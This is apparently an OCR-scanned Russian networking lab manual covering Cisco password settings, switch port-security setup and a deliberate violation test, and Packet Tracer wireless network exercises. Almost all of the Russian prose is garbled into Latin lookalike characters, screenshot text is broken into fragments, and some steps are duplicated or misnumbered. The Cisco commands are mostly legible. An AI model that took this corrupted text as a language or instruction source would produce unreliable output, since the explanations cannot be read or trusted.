HAaCTPOMKU IapoJIed U1 AOCTYyIla II0JIb30BATENs 4Yepe3 KOHCOJIbHBIN ITOPT, BCIIOMOTaTENIbHBIA MIOPT U
o npotokoy Telnet.

Enable password (pa3peneHHbIi WIN OTKPBITBIH NapoJib)

JInsi yCTaHOBKHM pa3peIieHHOTO MapoJisi HEOOXOAMMO HAXOMUTHCS B PEXHUME TJI00aIbHOTO
KOH(pHUTypHUpoBaHHs. 3a/1aTh €r0 MOKHO BBels komaHay "enable password" u uepes npoben ykas3aTh
cam maposb. Enable password xpanutcs B OoTKpbiToM Buje. i mudpoBaHUs BCEX CO3JaHHBIX
napoJjieii MO)KHO BOCIIOJIb30BaThCsl KOMaH1oi: ""service password-encryption™.

Enable secret (cekpeTHbIi Wjn MU(POBAHHBINA MAPOJIb)

CeKpeTHBIH MapoJib TAKKE YCTAHABIMBACTCS B PEKUME TII00AIBHOTO KOH(PHUIYpPHPOBaHH. 3a
komanoi "enable secret" u uepes mpoben ykasath cam maposib. Enable secret cosmaercs cpasy
mrdpoBanHblii mdS. ITOT maposbs uMeeT OoJbIINi TPUOPHUTET, ueM enable password, mostomy eciu
y Bac 0611 co3aan enable password u Bel co3manu enable secret, To mpu BXxojie B IPHUBH-ICTUPOBAHHBIH
peKUM yCTpoiicTBO OyaeT TpeboBath BBo enable secret. Enable password u enable secret ne gomkHbI
coBmnazatk. [Ipu momeITKe BBOAA OAMHAKOBLIX enable password u enable secret BeIBoanuTCS BEXKINBOE
PEAYIPEKICHUE O HETOMYCTUMOCTH TaKOT0o BeIOOpa. OJHAKO IPH TOBTOPHOM BBOJIE TOTO K€ CAMOTO
napoJsisi, OH OyJIeT YCTaHOBIICH B YCTPOUCTBE JIaske MpU coBnaaeHuu ¢ enable secret.

Console password (KOHCOIBHBII NapOJIb) CIYXHUT JUIS YCTAHOBKM MApoJisi KOHCOJHU
NoJb30BaTeIbcKOro pexuma. BBexs xomanay "line console 0", Bbl momazere B HACTPOWKY
KOHcopHOTO HHTep(eiica. s 3amanus mapons BBexuTe Komanay "password" u uepes mpoobern
yKa3aTh caM MapoJib. 3aTeM HeoOXOoauMo BBecTH KoMaHxay "login", nHaye Mbl HE CMOXEM IONACTh
yIaJeHHO Ha JAHHOE YCTPONCTBO.

KoOHCOIBHBIN MOPT CIY’KUT IS IEPBOHAYAIBHOM HACTPOMKHU yCTPOUCTBA.
VTY password

VTY (BUpTyalbHBI TEpMUHAI) CIY)KUT Ul YCTAaHOBKH B ycrpoicTBe mapousisi Telnet. Ecim
TaKOM MapoJib He YCTAaHOBJIEH, TO II0 YMOJIYaHUIO Ucnosb30BaHue Telnet 3anperieHo. Beeas komanny
"line console X Y", rme X - cTapToBBIii HOMEp BUPTYAIbHOW JHHUHM, Y - KOHECYHBIH HOMEp
BUPTYaJIbHOW JIMHUM, BCETO BUPTYaJIbHBIX JIMHUM MoxeT ObITh 16 (oT 0 no 15), BEI momanere B
HACTPOWKY BUPTyalbHOTO MHTepdeiica. s 3amanus naposst BBeaute koManay "password” u gepes
npobe yka3aTh caM MmapoJib. 3aTeM HeoOXOoauMMO BBeCcTH KoMaHay "login", uHade MBI HE CMOXKEM
MONAacTh yaJ€HHO Ha JIaHHOE YCTPOMCTBO.

AUX password

AUX (BcrioMorareibHbI) CIYXHUT Ui YCTAaHOBKU MapoJii MOJb30BaTEIbCKOIO pexuma JJis
BCIIOMOraTenbHOro nopra. OOBIYHO MPUMEHSIETCs AJIsl HACTPOMKHU B TaHHOM YCTpPOHCTBE
MapaMeTpoB MOJAEMA, HO MOXKET CIYXUTb U JUIsl TOCTya K KOHCOJH.

IMpumep HacTpoiiku 6a30BBIX NapaMeTPOB Ge3omacHocTH KommyTaTopa Cisco:
Switch(config)#enable secret Ci$CO

Switch(config)#line console 0

Switch(config-line)#password Ci$CO

Switch(config-line)#login

2.2 YeraHoBka M(PpOBaHUS /ISl IAPOJIEi:
Switch(config)#service password-encryption

2.3 YcTaHOBKA TEKCTa NPUBETCTBUS
Switch(config)#banner motd &Authorized Access Only&

3agaua 2: Kondurypupoanue port security Ha KOMMYTaTOpax.



Ilar 1. Bxmouenue QyHKIuM port security Ha S3 M BBIOOpP MaKCHMaJIbHOTO KOJMYECTBA
6e3onacubix MAC-anpecos.

Jlnst Hayasna HeoOX0IMMO TIEPEBECTH OPT B PEIKUM aCCESS:

Switch(config-if)#switchport mode access

Jnst BrmoueHuss GyHKOMM port security Ha S3 BoWauTe B PEeKUM KOH(DHUTYpUpOBaHUS
unTepodeiica FO0/21 u ucnone3yiite KOMaHy:
Switch(config-if)#switchport port-security

[Tocne yka3piBaeM, CKOJIBKO Ha JaHHOM MHTep(deiice MoxHO 3amoMHUTE MAC-aapecos:
Switch(config-if)#switchport port-security maximum 1

Takum oOpa3om, Tenepb, KOr/Aa y HAC K JaHHOMY MOPTY MOJKIIOYUTCS IPYToi KOMIBIOTEp C
HeusecTHbIM MAC-anipecoM, B 1ocTyIie eMy OyeT OTKa3aHo, U MOPT OTKIFOUYUTCA.

[ToBropute mar 1 wa moprax F0/22 m F0/23 xommyraTopa S3, K KOTOPBIM MOJKIIOYCHBI
kommbroTepsl HOSt-Student2 u Host-Trainerl. Ilocie npoBepbTe HACTPOHKU C TIOMOIIBIO KOMaHIbI
show run B mpuBmierupoBaHHoM pekume. Y nopro F0/21, F0/22 u F0/23 momkHO ObITh yKa3aHo,
YTO OHM HAaxOJATCS B PEKUME access u BKIou€H port-security. Komanma switchport port-security
maximum # oTcyTCTByeT. DTO CBS3aHO C TE€M, YTO MaKCHMAJIbLHOE KOJIMYEeCTBO Oe3omacHbix MAC-
aJIpecoB M0 YMOJTYaHHIO MPHUHATO paBHbIM 1. Komanaa switchport port-security maximum # mosiButcst
TG B CITy4ae, eClii JaHHas BeJIMYuHa Oy/eT 3aJjaHa co 3Ha4eHHeM BhIIe 1.

[ToBTopuTte mwar 1 nns noptoB FO/21, F0/22 u F0/23 xommyTtatopa S4.

lar 2. KondurypupoBanue pexuma AuHaMudeckoro usydenus (dynamic learning) ans port
security u mpoBepKa pe3yJIbTaToB.

Ha nmoprax F0/21, F0/22 u F0/23 kommyTatopoB S3 u S4 BBeAuTe KOMAHIY:

Switch(config-if)#switchport port-security mac-address sticky

st Toro, uro0sr KoMmyTaTop 3anoMHmT MAC-anpeca moaKIIOYEHHBIX K HEMY KOMITBIOTEPOB,
HeoOxoanMo npoiti nuHramu mexay Bcemu VLAN. ITocmorpers Tabnauny MAC-agpecoB MOKHO
KOMaHJIOM:

Switch#sh mac-address-table

ITpoBepbTe, UTO y MOAKIIOYEHHBIX KOMIIbIOTEPOB TOT ke MAC-aznpec, 4To 1 yka3aH B TaOnuLe
KoMMmyTaTopa. [locMOTpuTE ITOJIHBIE HACTPOMKH KOMMYTAaTOpa KOMaH0M ¥ IOCMOTPUTE, UTO Ha ITOPTY
C HACTPOCHHBIM Ha HEM POrt-security mosisuiicst 3anomuexnbiii MAC-ampec.

Ha S3 u S4 BBenute komanay show port-security interface fa0/21.

SW3#sh port-security int fa0/21

Port Security : Enabled
Port Status : Secure-up
Violation Mode : Shutdown
Aging Time : 0 mins
Aging Type : Absolute

SecureStatic Address Aging : Disabled
Maximum MAC Addresses :1

Total MAC Addresses 1

Configured MAC Addresses : 0

Sticky MAC Addresses 1

Last Source Address:Vlan :0005.5E23.D610:10
Security Violation Count : 0

BriBog: Port Security pasperien (Enable), Port Status B cocrosiaum Secure-up, cuetyuk Security
Violation Count pasen 0.



Ilar 3. HaGmonenue coctossHueM KOH(QUTYpalMd BO BpeMsl MPEANPUHHMAEMBIX MOIBITOK
HapymeHust 6€30MacHOCTH.

VY nanure coequnenune mexay Host-Student]l u S3. Jlo6aBbTe pabodyio CTAHIMIO M HA30BHUTE €&
TestPC. Coequnute €€ ¢ kommyraTopom S3 uepes nopt Fa0/21.

N3 pexuma xomanaHou ctpoku TestPC paiite komanmy ping 10.1.10.2 — cocegnuii Host-
Student2. ITuaru He MOJHKHBI MPOWTH. Boiee TOro, MOPT OTKIIOYMICS, O YEM CBUICTEIBLCTBYET
KpacHbIA UHAUKATOP.

Ha S3 BBeaute komanay show port-security interface fa0/21.

SW3#sh port-security int fa0/21

Port Security : Enabled

Port Status : Secure-shutdown
Violation Mode : Shutdown
Aging Time : 0 mins

Aging Type : Absolute

SecureStatic Address Aging : Disabled

Maximum MAC Addresses :1

Total MAC Addresses 1

Configured MAC Addresses : 0

Sticky MAC Addresses  : 1

Last Source Address:Vlan :0003.E4DD.1395:10
Security Violation Count : 1

BeiBoa: Port Security paspemen, Port Status B cocrosiuuu Secure-shutdown, cuerunk Security
Violation Count pasen 1.

Vnanute coegunenue mexay TestPC u S3. YcranoBute HOBOe coenuHenne Mexnay HOst-
Student1 u S3, ucnosnb3ys nopt Fa0/21. Tockonbky mopt Fa0/21 kommyraropa S3 ObL1 miepeBezieH B
cocrosiure shutdown u3-3a HapymieHus: 0€30MaCHOCTH, Ui HEro MpuMeHuTe komanay shutdown, a
3arem No shutdown.

U3 pexxuma komanHOU crpoku Host-Student] paiite komanay ping 10.1.10.2. TTuHry K0JKHBI
OBITh yCIICIITHBIMU, XOTh U He cpa3y. Ha S3 mpumenute komanay show port-security interface Fa0/21.
CocTosiHHE OopTa JI0JKHO BEPHYTHCS K HOPMaJIbHOMY MOJIOKEHUIO.

Konmponvuuvie 6onpocwi

1. Yro takoe MAC-anpec? Kak nocmotpets Tabnuiyy MAC-aapecos? Kak caenats Tak, 4ToObI
B Heil nosiBinch MAC-aapeca mogkItouE€HHBIX YCTPOUCTB?

2. UYro takoe Port Security? Jlyist 4ero ucrmoyib3yercs?

[lepeuncnure Tpu pexkuma padbotsl Port Security. B uém ux otnuume npyr ot apyra?
Kaxkue tumnel 6e3omacapix MAC-anpecoB. B uém ux otimuue apyr ot apyra?

Kakue curyanuun cuntarores ans Port Security HapyieHuem 6e3omacHocTu?

Tpu pexuMa pearnpoBaHus Ha HapymeHus 6ezonacHocT Port Security.
[Tomaroas HacTpoiika Port Security.

N R W

CKOJIbKO M KaKue IapoJid UCIOJIB3YIOTCS AJIs 3aluThl B 00opynoBanuu Cisco?

O0paser 3a1aHui JUIs1 BBITOJHEHHS 1a00paTOPHBIX paObOT M MPUMEPHBIHM NEpedeHb BOIPOCOB [T UX
3aIUTHI
«Jlabopatopnas pabora Ne 6. [Toctpoenue OecipoBOHBIX HHPOPMALIMOHHBIX CHCTEM

1. TToctpoenne 6ecpoBOAHBIX HHPOPMAITIOHHBIX CHCTEM
Llens paboThl: 3HAKOMCTBO C OpraHu3anuell OecrpoBOIHBIX cereil B cpene Packet Tracer.

3aganue:

1. CripoekTHpoBaTh MPOCTENIIINE OECIPOBOAHBIE CETH;



2. O3HaKOMHTBCS ¢ 0a30BBIMH HaBBIKAMU HACTPONKH OECIIPOBOIHBIX YCTPOMCTB.
1.1 Vsyuenue cpsa3u Touka-TOUKA

1. 3anyctuts nporpammy Packet Tracer.

2. Ucnonwsya Device-Type Selection Box (cieBa BHU3Y) HOMECTUTHL B pabouyro 0671acTh JBE
pabouue crannuu Laptop0 u PC1, a Tak-xe Access point2 (puc. 1.3).

Se o= ) ;;;i‘_,\é/ar_,g[;m/ ) [ < | (e
Generﬂ:: | Generic/ Generic! Generic! ‘IPPhone WIreI'ests, Sg‘,‘;'g mﬁ;

End Devices

Server-PT

S - .E‘/" | (| f‘a
|

| Generic! |Generic unksys

| wireless Devices

: s Automatically Choose Connection Type

Pucynok 1.2 Dnementsr Device-Type Selection Box Wireless

9‘0/{/

Laptop-PT “’"f//,’,
Laptop0 fiy
ptop Yigy,
;"}//,N

3 000000
y \\\\)&écesspoint-PT

yhh Access Point2

Pucynok 1.3 — Ilpumep O6ecripoBOAHOM TEIEKOMMYHHKAIIMOHHOW CETH
3. 3aMeHuTh amanTepsl IPOBOAHON CBA3W. AjantepaMu OecrpoBOAHON cBsa3u. [y uero:

®  OTKpbITh HHTEPPEIC HYKHOTO ycTpoiicTBa, Hanpumep PCL (pucyHok 1.4)
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MODULES

Physical Device View

Linksys-WMP300N
PT-HOST-NM-1AM

L Zoom In ][ Original Size ][ Zoom Out

PT-HOST-NM-1CE

PT-HOST-NM-1CFE

PT-HOST-NM-1CGE

PT-HOST-NM-1FFE

PT-HOST-NM-1FGE

PT-HOST-NM-1W-A

PT-HEADPHONE

PT-MICROPHONE

PT-CAMERA

[
[
[
[
[
[ PT-HOST-NM-1w
[
[
[
[
[

PT-USB-HARD-DRIVE

&) = - e

Customize
Icon in
Logical View

Customize
Icon in
Physical View

ol

pUSRE— e

Adding Modules: Drag the module to an available slot on the
device.

Removing Modules: Drag the module from the device to the
module list.

Pucynoxk 1.4 Nnrepdeiic puznyeckoil HaCTPOHKU CTaHIIMU
Bei0pats amanrep Linksys-WPC300N

[eperamuTh UMEIONIMIACS ajanTep KaOEIbHOW JIMHUK Ha aJlalTep
0ecTpoOBOIHOM CBSI3U

YcTaHoBUTE aganTtep 6eclpoBOJHOM CBSI3M HAa OCBOOOAMBILIEECS MECTO

4. Illemuxom Ha n306paxennn PCO OTKPBITH OKHO €10 CBOHCTB.

5. Bo sknaznke Config sagats IP anpec (manpumep 192.168.1.1) u Macky nojcetu

(255.255.255.0 ycranaBnuBaeTcs: aBTOMaTHYECKH NpH BBeneHun IP agpeca).

6. Takum e 06pa3oM 3a1aTh CBOICTBA BTOPOii paboueii cTaHIUH.

7. 3amyctuts ping-npouecc:

oTKpbITh cBoiicTBa PCO (1 PC1);
nepeiiti Ha Bkiaaky Desktop;
BIOpaTh pexkum Command Prompt;

BBECTH B KOMAHIHOM CTpOKe PiNg <aapec BTOPOTo KOMIIbIOTEpa™> Wik Ping
—{ <azmpec BTOpPOTro KOMITBIOTEPA™;

IIOCMOTPETh PE3YJIbTaT;




¥ pCi(1) - o X

Physical Config Dasktop Programming Attributes
|

>ommand Prompt

Minimum

ing -t

Pinging 1%2.

(=]

m m M m Mo M

L]

L]

[

HEHBE PP

ooy
e

5]

HFHFHFHFEFHFKEFREKRERKREERFR
H b HHEBHRBRHEBRKMBERKH R
HFHFHFRHFEHFERRERRERER

m m m m
s s B R+ L o
[ ==

]

(5]

® B CiIyYae OTCYTCTBHSI COSTMHEHUS MCIIPABUTH CETEBBIC HACTPOUKH.
8. 3axpsith okHO Command Prompt u oxao PCX.

9. TlpoBeputhb cOeMMHERNE APYTUM CTIOCOOOM:

e 3 poxume Realtime (mo ymonuanuio) HakaTh Ha TMAHEIW WHCTPYMEHTOB KHOIKY
Toggle PDU List Window;

e na nadean Common Tools Bar seiopars Add Simple PDU;

® yKasarh HCTOYHHUK 51 TPUEMHUK co00IIEHUS (memaKom Ha
COOTBETCTBYIOIIUX paOOUNX CTAHIIHSIX);

® IIOCMOTPETH PE3YIbTaT,

® BBIIIOJHUTH II€pEaavy B O6paTHOM HaIrrpaBJICHUU.
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File Edit Options
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PC-PT
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PC-PT
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VLANZ - USERS
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Laptop4(1)

v
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PDU List Window B X
Fira Last Status Source Diestination Type Color Time(sec) Periodic Num Edit Delste

@ Successful Laptopd... PCI(1) ICMP 0.000 N 0 (edit) (delete)
@ Successful Laptopd... PC1(1) ICMP 0.000 N 1 (edit) (delsts)
@ Successful Laptopd... PC1(1) ICMP 0.000 N 2 (adit) (delata)
@ Successful PC1(1) Laptop4(1) ICMP . 0.000 N 3 (edit) (delsts)
@ Successful PC1(1) Laptop4(1) ICMP . 0.000 N 4 (adit) (delata)

Time: 00:15:2
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Printer | 1P Phane’ | Device | | Phone
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|° Realtime ﬂ.SimuIatior{

W e
» New Delste
AR :
10.3anmycTuts CUMYJISIUIO nepegavn TIaKeTOB B peXHUME Simulation
(mepexirrouaTesb BHU3Y CIIPaBa):

e ¢ nomomupio kHonku Edit Filters 3agate nepenauy toiapko ARP u ICMP

ITAKETOB;

Info manenu Event List.

HaxkaTh kHONIKY Auto Capture / Play;

IIOCMOTPETh PE3YJIbTaT;

MMOCMOTPCTH CBOICTBa MMaKETOB, MICJIIKHYB Ha IBETHOM MPAMOYTOJIBHUKC B KOJIOHKC
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Laptop0 Vis. Time(sec) Last Device At Devi
0.000 = PC1(1)
0.000 - PC1{1)
0.001 Laptopd(1) Access
0.002 -- Access
0.003 Access Point... Laptops
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FCS
I
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1.2 Uzyuenue paboTsl HEGOMBIION GECIPOBOIHOI CETH.

1. Co6pars ceth, n300paskeHHyio Ha pucyHke 1.5.

s atoro:
® Hactpouts IP-anpeca:
PCO ((Laptop4-0) 192.168.1.1 PC3 192.168.2.1
PC4 192.168.2.2

PC1192.168.1.2
PC2 192.168.1.3 PC5 ((Laptop0-5) 192.168.2.3
Macku noaceru 255.255.255.0

1. CofpaHa ceTh, H200paseHHyY D> Ha pHcyHka 1.5,

Ona aToro:

= HacTpOoWMTE |IP-agpeca:

PCO (Laptop4-0)192.168.1.1 PC3192.168.2.1

PC1 192.168.1.2 PC4 192.168.2.2
PC5192.168.2.3

PC2 192.168.1.3
MaCKH nogoeTd 255 255 .255.0

Laptop-PT
Laptspd-0

=
'I.H.'l.'lll'll"'llll_f_f

v
REILLA PG-PT
PC2

IJ]IJIIJHJIIIIIII

g"
= N .I'.IIJ'.Il I

PC-PT
PG

Accesspoint-PT
Access PointO

gmlmmmm I
““““m|||III||IIIIIIIIII|
P
PC-PT
PC4

AccessFoint-PT

e
PC-PT
PC2 Access Pointl
Laptop-PT
LaptopO-5

Pucynok 1.5 — npumep Te1eKOMMYHUKAIIMOHHOM CeTH

2. TIpoCTpaHCTBEHHO Pa3HECTH TOUKH JocTyma (puc. 1.6):

® Jlepelith B pPEKUM  PEIAKTUPOBAHUS uznyeckoit CETH.
HMKOHKY UMEIOILErocs Topoa.

Co31aTh HOBOE 37JaHUE U IIEPEHECTH €r0 B IPYroe MECTO KapThl.

I[B AXKIbl KIIMKHYTH Ha



e (Co3naTh B HOBOM 3JaHUH HOBBIN mIKad.

® 3aiiTH B MEPBOHAYAIHLHOE 3IaHUE U NTEPBOHAYAILHBIN MIKa(.

e Haxxarh IpaBOM KHOIIKOM MBIIIY HAa HHTEPECYIOIINI CETEBOU HIEMEHT.
® B meHm0 BIOpaTh 35eMeHT “Move object” 1 KIIMKHYTh Ha 00BEKTE.

e B BeIIaJaronieM MEHIO BEIOpATh BTOPOE 37aHKE M HOBBIH 1mKad B HEM.

¥ Cisco Packet Tracer - E\Haceakun M.H\O6yuenne\ 2021\ _Mepenoarotoexa KC3WN5_Mogynb 2\Cetn n cuctembl nepegaun unbopmaumd TEMA 3, CETW CTAHA,..  — O *
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Pucynox 1.6 — untepdeiic puznueckux HaCTPOEK CeTH

3. 3amyctuTs PiNg-npomecc A HeCKOIBKMX Map pab0uuX CTaHIMIA:

- HaXOJAILLUXCA B 30HE JACUCTBUS IEPBOM TOYKH JIOCTYIA;

AQHAJIOTMYHO MPOXOIUT NUHT Ha 192.168.1.2 n 192.168.1.3

/

?’ Laptnpd—D[/

Physical Config

-ommand Prompt

1y £

1y

Minimum = 15ms,

Pinging

Minimum = léms,

] Top

Drasktop
I

Programming

imes in milli

Maximum = 4éms, Awe

y times

Maximum = 41lms, &w

Attributes

- BTOPOM TOYKHU JIOCTYTIA;

AQHAJOTUYHO NMPOXOAUT NUHT Ha 192.168.2.1 n 192.168.2.2
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Physical Config Desktop Programming Attributes
I

-ommand Prompt

time=15ms TTL~1
time=15ms TTL~1

in milli-
Minimum = l5ms, M i = 24ms, Awver

> timed out.

Lost = 4 (l100% loss),

imate round trip times in
Minimum = 15ms, Maximum =

- TIPOXOJAIIUX Yepe3 MPOBOTHON CETMEHT;

Pesynbrar «[Iuaray ¢ PCO (192.168.1.1) Ha X0CTHI mpuHAIeKaMHe apyroi moaceru 192.168.2.0/24
MIPEJICTABJICH JIajiee Ha PUHT-CKprHE. CBsA3b MEXKITY apecaMy XOCTOB MPUHAISKANTIX PA3HBIM TOACETSIM HE
TIUHTYETCS.
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Physical Config De*ktcp Programming Attributes
1

>ommand Prompt

{100% loss),

.2 with 32

{100% loss),

{100% loss),

- IOCMOTPETH Pe3yIbTar.
4., Ecim  coeIMHEHHE OTCYTCTBYET, OOBSICHUTb,  IOYEMY M  H3MEHHMTh CETEBbIE HACTPOUKHU.
OTBeT: coeMHEHNE HE MPOXOAUT MEXIY XOCTaMU UMEIOIIUX MOACOSTUHEHUS B Pa3HbIX TOUKAX JI0CTYyIa IOTOMY,
9TO 9TO Pa3HbIE MOJCETH, a TAK)KE HET CBA3YIOUIMX KOMMYTAaTOPOB WJIM MAPIIPYTH3aTOPOB U TIOATOMY XOCTHI HE
MOTYT YBUJETh JIPYT Apyra.

J111s1 TOTO, YTOOBI BCE «ITMHTOBATH) (XOCTHI UMEIOIINX ITOICOCTMHEHUS B pa3HBIX TOUKAX JOCTYIIA), TPUBEIEM
Ip-azpeca Bcex XOCTOB JUTs 00OMX IOJICETEH B €MHOE aIpeCHOE MPOCTPaHCTBO ( K mpumepy: 192.168.1.0/24).

HaCTpOﬁKH BBIITOHCHBI COTJIACHO AaJIEC CICAYHOIICTO Ip- I1J1aHa CCTU:

® nactpouts IP-agpeca:
PCO(Laptop4-0-0) 192.168.1.1 PC3-3192.168.1.4
PC1192.168.1.2 PC4-4192.168.1.5
PC2 192.168.1.3 PC5(Laptop0-5-5) 192.168.1.6
macku roncetn 255.255.255.0
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Minimuam = l4ms,

Minimam

ping 19

[] Top
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I

Pinging 135

2.1 BecnpoBoHas ceTh ¢ CEPBEPOM U IIPHHTEPOM

5 =

-
PE&PT
- 5P
Servgr-PT COB—_Y G2
Serjer0
= = /4 -
~ ; | ik
= NI 2 0/2 70 " T =
pc.p’f AccessRoint-PT ] 3 ‘0/1 AccéssEoint-PT PC-PT
PC1 AccessPoint2 Linksys-®RT300N AccesE Point1 CopyPC1

= Wireles=Router1

I

Printer-PT

PrinterQ Laptop:-PT,

CopyLaptop0

Puc.2.1 Cxema cemu



BreimonHenne paboThL:

1. Cobpats ceth. CxeMa ceTu peacTaBiieHa Ha puc.2.1

2.

3.

iEN20ri3ar1 QAQQOE EFE

3amare Ip-ampeca  u mackd  uwHTepdeiicam  mapripyrtuzatopa  (172.16.1.11/24, 172.16.2.11/24,

172.16.3.11/24);
3agark ip-agpeca M MacKM CeTCH IMepCOHaIbHBIM KommbioTepam. (172.16.1.1/24, 172.16.1.2/24,
172.16.1.3/24, 172.16.2.1/24, 172.16.2.2/24, 172.16.2.3/24);

. 3agarh Ip-agpeca U Macku ceteil cepBepy W npuHTepy. (172.16.3.1/24, 172.16.3.2/24);

. YOenuTbcs B TOCTHKUMOCTH BCEX OOBEKTOB CETH IO MpoTokony IP;

Jlnst Toro, yToObI coOpaHHas cxema ceTH Oblia paboueil He0OXOAUMO Ha POyTepe OpraHW30BaTh CETh BHJA
172.16.0.1/16 (255.255.0.0). Cxema ¢ neicTBYOIIEH aapecalueil nmpuaaraeTcs oTaeabHbIM (aitiiom B popmare

pkt.

. IlepexmounBimicy B «Pexum cumynauun» (ONMCaHHOM B METOJMYECKHUX YKa3aHMSIX K Ipeablayllei

naboparopHoil paboTe) paccMOTpPEeTh M MOSCHUTH Mpollecc oOMeHa MaHHbIMU 1o mpotokony ICMP mexmy
ycTpoiicTBaMu (BBIMOJHUB KOMaHAy PiNg ¢ OJHOro KOMIbIOTEpa Ha JAPYroil), MOSCHUTH POJIb MPOTOKOJIA
ARP B 3TOM mporiecce. [letanbHOe NOSCHEHUE BKIIFOUUTD B OTYET.
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Puc.2.2 Cxema cemu

Brinonnenne paboThr:
7. Cobpathb ceTh. CxeMa ceTu mpecTaBiieHa Ha puc.2.2

8. 3amare ip-ampeca u Macku uHTepdeiicam  mapmpyruzatopa (172.16.1.11/24, 172.16.2.11/24,
172.16.3.11/24);

9. 3amare ip-ampeca W Macku ceTeil mepcoHanbHBIM KommbioTepaM. (172.16.1.1/24, 172.16.1.2/24,
172.16.1.3/24, 172.16.2.1/24, 172.16.2.2/24, 172.16.2.3/24);

10. 3apmars ip-agpeca m macku cetell cepeepy W npunTepy. (172.16.3.1/24, 172.16.3.2/24);
11.  VY6enuThbes B JOCTHKUMOCTH BCEX OOBEKTOB CETH IO TIPOTOKOY IP;
Jlst Toro, uToObI coOpaHHasi cxema ceTH ObuIa paboueld HEOOXOAMMO Ha pOyTEepe OpraHU30BaTh CETh BHUA

172.16.0.1/16 (255.255.0.0). Cxema c neicTBYIOIIEH afpecalueil nmpuaaraercs oTaAeabHbIM (aitiom B popmare
pkt.

12. Tlepexmouuimchk B «PexuM cuMynsSuu» (OMMCAHHOM B METOAMYECKHMX YKA3aHUAX K MpeAblIyleit
nmabopaTropHOil paboTe) pacCMOTPETh M TMOSCHUTH Tporiecc oOMeHa JaHHBIMH 10 mpotokony ICMP mexmy
yCTpOMCTBaMH (BBITOJHUB KOMaHAy PiNg ¢ OAHOTO KOMIBIOTEpa Ha JAPYroi), MOSCHUTH POJb MPOTOKOJIA
ARP B 3TOM nporiecce. [leTanbHOe NOSCHEHUE BKIIOUUTH B OTYET.
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TuUTyIBHBIN JIHCT;

3amanue;

CxemMma ceTu;

Xom paboThI: TaHHBIN pa3esl COCTOUT U3 TIOCIEI0BATEIILHOTO OMMCAHMS 3HAYMMBIX BBITOTHIEMBIX IIIar0B
(c yka3zaHMEM UX CYTH) U KO KpaHOB (70 KHa ObITh BUHA HAOpaHHAS KOMaH/Aa U PEAKIUs CHCTEMBI,



€CIT OHA €CTb).
5. BreBOAEL

Bompocsr:

Kakue pexxuMbl pabOTHI HCITOIB3YIOTCS B 0€CIIPOBOAHBIX ceTsax Wi-Fi?

Kak HacTpouTh OECIIPOBOIHYIO CETh C MMOMOIIBIO MAPIIPYTH3aTOpa B CUMYIISATOpE?
Kakue cranmaptel 6ecripoBogHo# cBsizu 802.11 BBl 3HaeTe?

Kak obecrnieunBaercst 6€30MacHOCTh B O€CIIPOBOAHBIX ceTsax Wi-Fi?

Kak onTumMu3npoBaTh MPOU3BOIUTEIHLHOCTE U 30HY MMOKPBITUSI O€CIIPOBOIHOM ceTu?

arwONE

Oo0pa3zer 3a1aHuii U151 BBITTOJHEHHS 1a00paTOPHBIX padOT M MPUMEPHBIH MEpEeYeHb BOIPOCOB JUIS UX 3aLUTHI
«Jlaboparopnast pabota Ne 7. HacTpoiika uCXOAHBIX MapaMeTpoB 0€30MacHOCTH MapIIPYTU3ATOPa»

Tonosnorus

Tabnuma agpecanuu

ko3 1o
VYerpoiicTBo Hurepdeiic IP-anpec Macka noaceru YMOIYaHU
10
R1 G0/1 192.168.1.1 255.255.255.0 HenoctynHo
S1 VLAN 1 192.168.1.11 255.255.255.0 192.168.1.1
CereBo
IK-A i 192.168.1.3 255.255.255.0 192.168.1.1
ajanTep

3anaun
Yactp 1. HacTpolika OCHOBHBIX TapaMEeTPOB YCTPOUCTBA
Yacte 2. Hactpoiika OCHOBHBIX Mep o0ecrieueHns O€30IMacCHOCTH Ha MapIIpyTH3aToOpe

Yactp 3. HacTpoiika 0OCHOBHBIX Mep obecriedeHusi 0€301acHOCTH Ha KOMMYHUKATOpe

VicxonHble faHHble/ClIeHApUiA

Bce cereBble ycTpoiicTBa peKOMEHIyeTCsl HACTpauBaTh C UCIOJIb30BAaHUEM XOTsl Obl MUHHUMAJIBHOTO
Habopa 3P PeKTUBHBIX KOMaH[ obecrieueHust 0€30MacHOCTH. DTO OTHOCUTCS K yCTpOiicTBaM
KOHEUHBIX IT0JIb30BaTENEH, CEPBEPAM U CETEBBIM YCTPOMCTBAM, TAKUM KAaK MapIIPpyTH3aTOPHI U
KOMMYTaTOPBI.

B xoxe mabopaTopHoii pabOTHI BB TOJDKHBI OYIETE HACTPOUTD CETEBBIE YCTPONUCTBA B TOMOJIOTHH
TakuM 00pazoM, uToObl mpuHUMaTh SSH-ceanch! 1 yaanéuHoro ynpasineHus. Kpome Toro, Bbl



HACTPOUTE OCHOBHBIE YPPEeKTHBHBIE MEpbI 0OecieueHHs 0e30MacHOCTH Yepe3 uuTepdeiic
komanHo# ctpoku 10OS CLI. 3arem Bam HEOOX0IMMO OYIET MPOTECTUPOBATH MEPHI OOECIICUEHUS
0€30MMacCHOCTH U YOSAUTHCSI B TOM, YTO OHHM PEATM30BAHBI JIOJDKHBIM 00pa3oM U paboTaroT 6e3
OLINOOK.

Ipumeuanue. MapiipyTu3aropsl, HCHOIb3yeMble Ha npakTHueckux 3ansaTusx CCNA, — Cisco
1941, T1O Cisco 10S Bepcun 15.2(4)M3 (06pa3 universalk9). Mcmonb3yemMbie KOMMYTaTOPBI:
cemeiictBo kommyTtaTopoB Cisco Catalyst 2960 Bepcuu CISCO IOS 15.0(2) (o6pa3 lanbasek9).
MO03KHO HUCTIOIB30BATh IPYrue MapmpyTu3aTropsl, kommyTtaTopsl i Bepcun [10 Cisco 10S. B
3aBUCUMOCTH OT Mozienu U Bepcuu Cisco IOS BbInonHseMble TOCTYITHBIE KOMAH/IbI U BEIBOJBI MOTYT
OTJIMYAThCA OT JAHHBIX, MOJIYYEHHBIX B X0JI€ TJaOOpaTopHbIX padboT. TouHble HACHTU(DUKATOPBI
uHTEep(EiicCOB yKa3aHbl B CBOJHON TabnuIe HHTEpPEcOB MapIIpyTH3aTOPOB B KOHIIE JIA00OPaTOPHOM
paboTHI.

IIpumeuanue. Yoenurech, uTo HHGOPMALIKS, UMEIOIIASICS HA MapIIPYTU3aTOPE U KOMMYTATOpe,
ylajieHa U OHU He cojepikar (aiiioB 3arpy304HOi KoHPUrypauuu. Eciu Bel HE yBEpPEHBI, UTO
CMOYKETE 3TO CHeNaTh, 00pPaTUTECh K HHCTPYKTOPY.

Heo0xoaumble pecypcebl

e 1 mapmpyrtusatop (cepus Cisco 1941 ¢ nporpammubiM obecriedenuem Cisco 10S Bepcun
